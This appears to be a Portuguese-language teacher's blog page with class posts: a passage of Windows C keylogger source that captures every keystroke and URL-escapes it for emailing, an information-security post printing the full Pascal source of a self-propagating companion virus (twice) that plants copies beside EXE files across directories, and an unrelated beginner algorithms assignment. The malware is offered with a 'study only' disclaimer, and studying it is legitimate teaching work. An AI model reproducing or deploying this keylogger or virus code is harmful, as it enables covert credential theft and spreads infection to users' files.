if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
if(strlen(teclas)>0)
strncpy(teclas_aux,teclas,strlen(teclas)-1);
strcpy(teclas,teclas_aux);
sprintf(teclas_aux,"%c",0);}
//Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
if(GetAsyncKeyState(0xD)==-32767){
strcat(teclas,"%0A");
}
//Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
if(GetAsyncKeyState(0x10))
logar_shift();
//Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
if(GetAsyncKeyState(0x20)==-32767)
strcat(teclas,"%20");
//Verifica o CAPS LOCK
caps = GetKeyState(0x14);
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se logado
}
for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);
//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);
if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);
if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);
if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);
if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);
if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);
if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);
if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);
if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);
if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);
if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);
if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);
if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s%c",teclas,220);
if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);
if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);
//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48 );
}
return 0;
}
//Loga quando SHIFT for pressionado.
void logar_shift()
{
for(s=48;s<=57;s++)
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
//Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
case 48:
sprintf(teclas,"%s)",teclas);
break;
case 49:
sprintf(teclas,"%s!",teclas);
break;
case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s%%23",teclas);
break;
case 52:
sprintf(teclas,"%s%%24",teclas);
break;
case 53:
sprintf(teclas,"%s%%25",teclas);
break;
case 54:
sprintf(teclas,"%s%%5E",teclas);
break;
case 55:
sprintf(teclas,"%s%%26",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;
}
//Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
switch(caps)
{
case 0: //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;
case 1: //Se ligado, loga letrs em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}
//Outros símbolos combinados com SHIFT.
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);
if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);
if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);
if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);
if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);
if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);
if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);
if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);
if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);
if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);
if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);
}
//Loga quando CAPSLOCK estiver ligado
void logar_caps()
{
for(c=65;c<=90;c++)
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);
}
void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
{
for(n=65;n<=90;n++)
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);
"
}
Segurança da Informação - Aula 28/11/2011 (Propagação de Vírus)
Propagação de Vírus
Este arquivo tem o propósito de estudo de vírus apenas! Será muito útil para aprender como os virus funcionam e se propagam. Mas qualquer um com conhecimentos de Assembler pode torná-lo em virus funcional e qualquer um com um pouco de experiência de codificação Assembly pode torná-lo em programa mais perigoso que ele já é. Mantenha esse código apenas para estudo!
O programa abaixo está em linguagem Pascal.
Program Saddam;
{$M 10000,0,0}
Uses DOS;
Var
DriveID : String [2];
Buffer : Array [1..8000] Of Byte;
Target,Source : File;
Infected : Byte;
Done : Word;
TargetFile : String;
(*?????????????????????????????????????????????????????????????????????????*)
Function ExistCom : Boolean;
Var
FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;
(*?????????????????????????????????????????????????????????????????????????*)
Procedure SearchDir ( Dir2Search : String );
Var
S : SearchRec;
Begin
If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
Dir2Search := Dir2Search + '\';
FindFirst ( Dir2Search + '*.exe', 39, S );
While DosError = 0 Do
Begin
TargetFile := Copy ( Dir2Search + S.Name,1,
Length ( Dir2Search + S.Name ) -3 ) + 'com';
If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
Not ExistCom And ( Infected <> 25000 ) Then
Begin
{$i-}
Inc ( Infected );
Assign ( Target, TargetFile );
Rewrite ( Target,1 );
BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
SetFTime ( Target, S.Time );
Close ( Target );
If IoResult = 101 Then
Begin
Infected := 3;
Erase ( Target );
End;
{$i+}
End;
FindNext ( S );
End;
FindFirst ( Dir2Search + '*', Directory, S );
If S.Name = '.' Then
Begin
FindNext ( S );
FindNext ( S );
End;
If ( DosError = 0 ) And
( S.Attr And 16 <> 16 ) Then
FindNext ( S );
While DosError = 0 Do
Begin
If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
SearchDir ( Dir2Search + S.Name );
FindNext ( S );
End;
End;
(*?????????????????????????????????????????????????????????????????????????*)
Begin
DriveID := FExpand ( ParamStr ( 1 ));
Infected := 0;
Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
BlockRead ( Source, Buffer, 5000, Done );
Close ( Source );
Randomize;
SearchDir ( DriveID );
Exec ( Copy ( ParamStr ( 0 ),1,
Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.
Este arquivo tem o propósito de estudo de vírus apenas! Será muito útil para aprender como os virus funcionam e se propagam. Mas qualquer um com conhecimentos de Assembler pode torná-lo em virus funcional e qualquer um com um pouco de experiência de codificação Assembly pode torná-lo em programa mais perigoso que ele já é. Mantenha esse código apenas para estudo!
O programa abaixo está em linguagem Pascal.
Program Saddam;
{$M 10000,0,0}
Uses DOS;
Var
DriveID : String [2];
Buffer : Array [1..8000] Of Byte;
Target,Source : File;
Infected : Byte;
Done : Word;
TargetFile : String;
(*?????????????????????????????????????????????????????????????????????????*)
Function ExistCom : Boolean;
Var
FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;
(*?????????????????????????????????????????????????????????????????????????*)
Procedure SearchDir ( Dir2Search : String );
Var
S : SearchRec;
Begin
If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
Dir2Search := Dir2Search + '\';
FindFirst ( Dir2Search + '*.exe', 39, S );
While DosError = 0 Do
Begin
TargetFile := Copy ( Dir2Search + S.Name,1,
Length ( Dir2Search + S.Name ) -3 ) + 'com';
If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
Not ExistCom And ( Infected <> 25000 ) Then
Begin
{$i-}
Inc ( Infected );
Assign ( Target, TargetFile );
Rewrite ( Target,1 );
BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
SetFTime ( Target, S.Time );
Close ( Target );
If IoResult = 101 Then
Begin
Infected := 3;
Erase ( Target );
End;
{$i+}
End;
FindNext ( S );
End;
FindFirst ( Dir2Search + '*', Directory, S );
If S.Name = '.' Then
Begin
FindNext ( S );
FindNext ( S );
End;
If ( DosError = 0 ) And
( S.Attr And 16 <> 16 ) Then
FindNext ( S );
While DosError = 0 Do
Begin
If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
SearchDir ( Dir2Search + S.Name );
FindNext ( S );
End;
End;
(*?????????????????????????????????????????????????????????????????????????*)
Begin
DriveID := FExpand ( ParamStr ( 1 ));
Infected := 0;
Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
BlockRead ( Source, Buffer, 5000, Done );
Close ( Source );
Randomize;
SearchDir ( DriveID );
Exec ( Copy ( ParamStr ( 0 ),1,
Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.
quinta-feira, 24 de novembro de 2011
Introdução a Algoritmos - Aula 24/11/2011 (Trabalho Prático - 9 pontos - Entrega até 15/12/2011)
Trabalho Prático - 9 pontos - Entrega até 15/12/2011
1.
Maria
quer saber quantos litros de gasolina precisa colocar em seu carro e quanto vai
gastar para fazer uma viagem até a casa de sua irmã. Dados extras:
- Distância da casa de Maria até sua irmã: 520 km
- Seu carro consome um litro a cada 12 km rodado.
- Ela abastece sempre no mesmo posto, onde o preço da gasolina é R$ 1,50 o litro.
|
m³
|
Cada m³
|
|
0 – 10
|
R$ 1,20
|
|
11 – 20
|
R$ 1,50
|
|
Acima de 20
|
R$ 2,00
|
3. Faça
um programa para ler a quantidade de consumo de energia calcular o valor da
conta de energia elétrica de uma casa, considerando a tabela a seguir. A conta
deve ser calculada proporcionalmente, ou seja, se o usuário gastou 55 kWh, ele
pagará 50 kWh ao preço de R$ 1,00 e 5 ao preço de R$ 1,30.
|
kWh
|
Valor
|
|
0 – 50
|
R$ 1,00
|
|
51 – 100
|
R$ 1,30
|
|
101 - 150
|
R$ 1,60
|
|
Acima de 150
|
R$ 2.00
|
- Os funcionários com salário inferior a 1.000,00 devem ter um reajuste de 55%;
- Funcionários com salário de 1.000,00 (inclusive) a 2.500,00 (inclusive) devem ter um reajuste de 33%;
- Os funcionários com salário superior a 2.500,00 devem ter um reajuste de 20%;
5. Faça
um programa para somar os 100 primeiros números inteiros positivos pares e os
100 primeiros números inteiros positivos ímpares. Depois de somados escrever o
resultado das duas somatórias. Faça agora a subtração da soma dos números pares
pela soma dos números ímpares e a subtração da soma dos números ímpares pela
soma dos números pares escrevendo o resultado das duas subtrações.
6. Em
uma adega tenho três tipos de vinhos para vender ou comprar que são: rosê,
branco e tinto. Faça um programa que dê entrada ou saída nos vinhos lendo o
tipo de movimento (venda ou compra), a quantidade dos vinhos e seus respectivos
tipos. O estoque inicial de cada tipo é o seguinte: Vinho Rosê = 34 garrafas;
Tinto = 86 garrafas e Branco = 33 garrafas. Quando receber em uma entrada a
quantidade zerada para os três vinhos independente de ser compra ou venda,
encerrar o programa escrevendo, o estoque de cada vinho. O percentual de cada
um sobre o total de garrafas, o estoque maior e o estoque menor.
7. Faça
um programa que jogando um dado faça a somatória dos números apresentados até
sair o número SEIS. Quando este número sair, acrescente-o a somatória e escreva
o resultado da soma dos números.
8. Faça
um programa que receba o valor da mensalidade e a idade dos alunos de uma
turma, até que seja informado um valor de mensalidade igual a zero. Após a
digitação informe:
- O valor médio da mensalidade;
- A maior mensalidade;
- A menor mensalidade;
- O percentual de alunos com até de 20 anos;
- A quantidade de alunos com idade superior a 20.
Assinar:
Postagens (Atom)
Quem sou eu
NOSSO OBJETIVO
OBJETIVO
Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.RESPONSABILIDADE
O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.